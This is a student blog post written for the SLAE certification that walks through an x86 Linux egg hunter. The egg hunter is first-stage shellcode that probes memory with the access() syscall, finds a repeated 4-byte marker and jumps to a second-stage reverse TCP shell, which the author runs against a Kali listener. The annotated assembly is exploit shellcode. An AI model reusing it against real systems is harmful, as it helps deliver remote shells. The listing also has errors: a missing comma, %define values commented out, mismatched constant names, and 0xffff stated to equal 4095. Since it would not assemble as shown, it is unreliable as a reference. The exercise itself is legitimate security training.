This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1517
SLAE Assignment #3 - Egghunter
- Create a working demo of the egg hunter
For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.
What is an egg_hunter? Why do we need it?
An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.
This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).
Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:
%define _EGG 0x50905090
xor ebx, ebx ;remove x00/NULL byte
mov ebx _EGG ;move 0x50905090 egg into ebx register
xor ecx, ecx ;remove x00/NULL byte
mul ecx ;intializes eax, ecx, edx with x000000000 value
We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().
We will be using the *pathname pointer argument to validate the address that will contain our egg.
I globally defined two more variables: the access() syscall and EFAULT
%define _SYSCALL_ERR ;0xf2
%define __NR_access ;0x21
...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS
The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction
or dx, 0xfff ;note that edx is the pointed *pathname
;0xffff == 4095
The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.
inc edx ;increments edx, checks next address if it contains the egg
pusha ;push eax, ebx, ecx, edx....these registers are used multiple
;pushing them to the stack to preserve values when popped
lea ebx, [edx +4]
xor eax, eax ;remove x00/NULL byte
mov al, __NR_access ;syscall 33 for access(2)
int 0x80 ;interrupt/execute
;egg hunting begins
cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
popa ;branch, pop eax, ebx, ecx, edx
jz NEXT_PAGEFILE ;al return value == EFAULT value, invalid address memory
;move to the next PAGESIZE
cmp [edx], ebx ;if al retun value != EFAULT value, execute this instruction
;compares the egg with edx value
jnz NEXT_ADDRESS ;not EFAULT but _EGG not found, loop again
cmp[edx +4], ebx ;_EGG found, test for the next 4 byte of the _EGG
jnz NEXT_ADDRESS ;if next 4 bytes of edx value !=_EGG, loop again
jmp edx ;finally, 8 bytes of _EGG found, jmp to address of edx
We compile our nasm file and obtain our shellcode using objdump.
We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.
I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.
For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.